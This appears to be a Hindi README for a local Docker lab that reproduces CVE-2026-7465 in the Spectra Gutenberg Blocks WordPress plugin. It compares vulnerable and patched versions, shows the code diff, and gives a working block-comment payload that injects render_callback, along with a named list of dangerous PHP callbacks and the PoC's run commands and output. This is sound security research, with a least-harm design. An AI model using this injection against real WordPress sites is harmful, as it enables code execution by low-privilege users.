
Spectra Gutenberg Blocks WordPress प्लगइन में CVE-2026-7465 के विश्लेषण और पुनरुत्पादन के लिए स्थानीय Docker लैब। render_callback इंजेक्शन प्रदर्शित करने वाले न्यूनतम-हानि PoC के साथ कमजोर बनाम पैच किए गए संस्करणों की तुलना करता है।
WordPress प्लगइन Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg) में CVE-2026-7465 का विश्लेषण और पुनरुत्पादन करने के लिए स्थानीय Docker प्रयोगशाला।
यह प्रयोगशाला तुलना करती है:
vuln: Spectra 2.19.25patched: Spectra 2.19.26प्रूव को जानबूझकर न्यूनतम हानिकारक बनाया गया है। यह शेल कमांड निष्पादित नहीं करता, फ़ाइलें अपलोड नहीं करता, उपयोगकर्ता नहीं बनाता, या कंटेनर को सीधे संशोधित नहीं करता। PoC एक अस्थायी WordPress ड्राफ्ट पोस्ट बनाता है, प्रस्तुत ब्लॉक व्यवहार की जाँच करता है, फिर ड्राफ्ट को हटा देता है।
CVE-2026-7465 Spectra Gutenberg Blocks में एक कमज़ोरी है, जहां उपयोगकर्ता-नियंत्रित Gutenberg ब्लॉक विशेषताओं को WordPress ब्लॉक पंजीकरण तर्कों में पास किया जा सकता है।
कमज़ोर संस्करण में, Spectra गतिशील रूप से पोस्ट सामग्री से ब्लॉक विशेषताओं का उपयोग करके पार्स किए गए uagb/* ब्लॉकों को पंजीकृत करता है:
$registry->register( $block['blockName'], $block['attrs'] );
चूंकि एक योगदानकर्ता पोस्ट सामग्री बना सकता है जिसमें Gutenberg ब्लॉक टिप्पणियाँ हों, एक प्रमाणित योगदानकर्ता-स्तरीय उपयोगकर्ता render_callback जैसे पंजीकरण तर्कों को प्रभावित कर सकता है।
2.19.26 संस्करण समस्या को ब्लॉक को एक खाली तर्क सरणी के साथ पंजीकृत करके ठीक करता है:
$registry->register( $block['blockName'], array() );
यह पोस्ट-नियंत्रित ब्लॉक विशेषताओं को PHP ब्लॉक पंजीकरण विकल्प बनने से रोकता है।
उत्पाद:
Spectra Gutenberg Blocks
WordPress प्लगइन स्लग: ultimate-addons-for-gutenberg
इस प्रयोगशाला में उपयोग किए गए संस्करण:
कमज़ोर: 2.19.25
पैच किया गया: 2.19.26
2.19.26 के लिए WordPress.org चेंजलॉग बताता है कि अपडेट ने एक सुरक्षा बग को संबोधित किया और जिम्मेदार रिपोर्टिंग के लिए Wordfence को श्रेय दिया।
कमज़ोर तर्क इसमें स्थित है:
classes/class-uagb-init-blocks.php
कमज़ोर कोड जाँचता है कि क्या पार्स किए गए ब्लॉक नाम में uagb/ नेमस्पेस है। यदि ब्लॉक पहले से पंजीकृत नहीं है, तो यह ब्लॉक को गतिशील रूप से पंजीकृत करता है।
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] );
}
}
समस्या दूसरा तर्क है:
$block['attrs']
Gutenberg में, ब्लॉक विशेषताओं को पोस्ट सामग्री के अंदर संग्रहीत किया जा सकता है, उदाहरण के लिए:
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->
एक योगदानकर्ता ड्राफ्ट पोस्ट सामग्री बना सकता है। इसलिए, हमलावर $block['attrs'] को प्रभावित कर सकता है।
जब वे विशेषताएँ WP_Block_Type_Registry::register() में पास की जाती हैं, तो वे ब्लॉक पंजीकरण तर्क बन जाती हैं। एक संवेदनशील पंजीकरण तर्क है:
render_callback
यह एक कॉलबैक-नियंत्रण आदिम बनाता है।
2.19.26 में, Spectra अभी भी पार्स किए गए uagb/* ब्लॉक नाम को पंजीकृत करता है, लेकिन पोस्ट-नियंत्रित विशेषताओं को पंजीकरण तर्कों के रूप में पास नहीं करता:
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], array() );
}
}
महत्वपूर्ण परिवर्तन है:
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
यह हमलावर-नियंत्रित विशेषताओं को ब्लॉक पंजीकरण पथ से हटा देता है।
maybe_serialize का उपयोग करता हैPoC खतरनाक PHP कॉलबैक जैसे system, exec, shell_exec, या passthru का उपयोग नहीं करता है।
इसके बजाय, यह उपयोग करता है:
maybe_serialize
प्रूव ब्लॉक सामग्री है:
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->
अपेक्षित व्यवहार:
कमज़ोर:
render_callback ब्लॉक अट्रिब्यूट्स से स्वीकार किया जाता है
मार्कर प्रस्तुत सामग्री में दिखाई देता है
पैच किया गया:
render_callback ब्लॉक अट्रिब्यूट्स से अनदेखा किया जाता है
मार्कर प्रस्तुत सामग्री में दिखाई नहीं देता
यह कमांड निष्पादित किए बिना या फ़ाइलें लिखे बिना कमज़ोर व्यवहार को साबित करता है।
सेवाएँ:
db_vuln कमज़ोर WordPress के लिए MariaDB
db_patched पैच किए गए WordPress के लिए MariaDB
vuln WordPress + Spectra 2.19.25
patched WordPress + Spectra 2.19.26
seed_vuln कमज़ोर साइट के लिए एक-शॉट WordPress सेटअप
seed_patched पैच की गई साइट के लिए एक-शॉट WordPress सेटअप
स्थानीय पोर्ट:
http://127.0.0.1:8181 -> कमज़ोर WordPress
http://127.0.0.1:8182 -> पैच किया गया WordPress
सीडेड WordPress उपयोगकर्ता:
उपयोगकर्ता नाम: contributor
पासवर्ड: contributorpass123!
भूमिका: contributor
PoC केवल HTTP-आधारित है। यह लॉगिन और REST API अनुरोधों के माध्यम से WordPress के साथ बातचीत करता है।
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
स्वच्छ वातावरण से शुरू करें:
docker compose down -v --remove-orphans
docker compose up -d --build
कंटेनर जाँचें:
docker compose ps
सीड लॉग जाँचें:
docker compose logs seed_vuln seed_patched
अपेक्षित सीड परिणाम:
[+] सीड vuln: हो गया
[+] सीड patched: हो गया
कमज़ोर लक्ष्य का परीक्षण:
python3 poc/poc.py -t http://127.0.0.1:8181
अपेक्षित कमज़ोर फैसला:
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
पैच किए गए लक्ष्य का परीक्षण:
python3 poc/poc.py -t http://127.0.0.1:8182
अपेक्षित पैच किया गया फैसला:
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181
[INFO] fingerprinting target
spectra_stable_tag: 2.19.25
spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: True
rendered_length: 227
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182
[INFO] fingerprinting target
spectra_stable_tag: 2.19.26
spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: False
rendered_length: 1
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete
महत्वपूर्ण तुलना है:
raw_contains_marker
rendered_contains_marker
कमज़ोर और पैच किए गए दोनों लक्ष्यों में दिखना चाहिए:
raw_contains_marker: True
यह पुष्टि करता है कि समान ब्लॉक सामग्री को एक अस्थायी ड्राफ्ट पोस्ट में सफलतापूर्वक सहेजा गया था।
अंतर प्रस्तुत आउटपुट में है:
कमज़ोर:
rendered_contains_marker: True
पैच किया गया:
rendered_contains_marker: False
यह दर्शाता है कि कमज़ोर संस्करण ने पोस्ट-नियंत्रित render_callback को स्वीकार किया, जबकि पैच किए गए संस्करण ने नहीं किया।
कंटेनर, नेटवर्क और वॉल्यूम को रोकें और हटाएं:
docker compose down -v --remove-orphans
यदि मौजूद हो तो Python कैश हटाएं:
rm -rf poc/__pycache__
यह रिपॉजिटरी केवल स्थानीय सुरक्षा अनुसंधान और पोर्टफोलियो प्रदर्शन के लिए है।
PoC:
इसे उन सिस्टमों के खिलाफ न चलाएं जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।
WordPress.org प्लगइन पृष्ठ: Spectra Gutenberg Blocks - ब्लॉक एडिटर के लिए वेबसाइट बिल्डर
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/
WordPress.org चेंजलॉग: 2.19.26 - सोमवार, 4 मई 2026 सुरक्षा अपडेट जिसका श्रेय Wordfence को दिया गया
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers
WordPress प्लगइन SVN / Trac
https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/